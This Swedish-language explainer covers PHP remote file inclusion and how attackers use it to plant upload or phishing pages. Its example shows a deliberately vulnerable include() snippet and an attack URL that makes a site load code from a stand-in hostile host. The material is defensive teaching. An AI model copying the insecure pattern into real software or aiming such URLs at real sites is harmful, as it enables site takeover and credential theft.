Det vanligaste säkerhetshålet på en webbplats byggd med PHP är brister i hur funktionen include() används.
Ett vanligt tillvägagångssätt är att en angripare experimenterar med CGI-parametrar för att hitta säkerhetsproblem. Sådana problem är ofta kopplade till just hur webbplatsen använder funktionen include().
När ett sådant problem upptäcks kan angriparen skicka in specialkonstruerade CGI-parametrar och på så sätt lura webbplatsen att läsa in PHP-sidor som ligger på andra servrar.
PHP-sidan som laddas från en annan server kan innehålla vad som helst. Det kan till exempel vara en sida som låter angriparen ladda upp valfria filer till valfri katalog på din webbplats, eller en så kallad phishingsida (nätfiskesida) som du kan läsa mer om här.
Angriparen skickar sedan e-post till en mängd e-postadresser (ett så kallat spam-utskick), anger en avsändare som ser officiell ut från webbplatsen de angriper och lägger med en länk till den kapade sidan. Ofta innehåller meddelandet en uppmaning om att du behöver logga in för att ändra dina kontaktuppgifter eller något liknande.
Eftersom sidan du kommer till när du klickar på länken ser ut precis som webbplatsens egen inloggningssida blir många lurade att logga in. De vill ju byta sitt lösenord, eftersom det stod i e-postmeddelandet att de behövde göra det.
Den förfalskade inloggningssidan sparar inloggningsuppgifterna och skickar dem vidare till en e-postadress som angriparen läser av. På så sätt får angriparen tillgång till en mängd riktiga inloggningar på webbplatsen och kan använda dem för att till exempel tömma bankkonton.
Ett exempel på problematiken med PHP-include
Tänk dig att du har en webbplats, http://www.mindomän.se, med en sida som heter index.php och som har följande innehåll:
<? $sida = $_GET['page'] ?> <html> <body> <? include "$sida.php"; ?> </body> </html>
En besökare kan nu öppna http://www.mindomän.se/index.php?page=http://www.farlig-sida.se/exploit.txt.
Låt oss säga att det ligger PHP-kod på http://www.farlig-sida.se/exploit.txt.php, till exempel för en uppladdningssida. När någon besöker URL:en ovan körs den koden. Att använda include på det här sättet innebär att sidan laddas från www.farlig-sida.se men körs på www.mindomän.se.
Besökaren skulle nu kunna ladda upp filer till www.mindomän.se via den här uppladdningssidan. Det behöver förstås inte vara en uppladdningssida, det kan lika gärna vara något annat. Det kan till exempel vara en sida som ersätter index.php, tar bort eller ändrar något annat på webbplatsen, eller lägger upp en phishingsida.
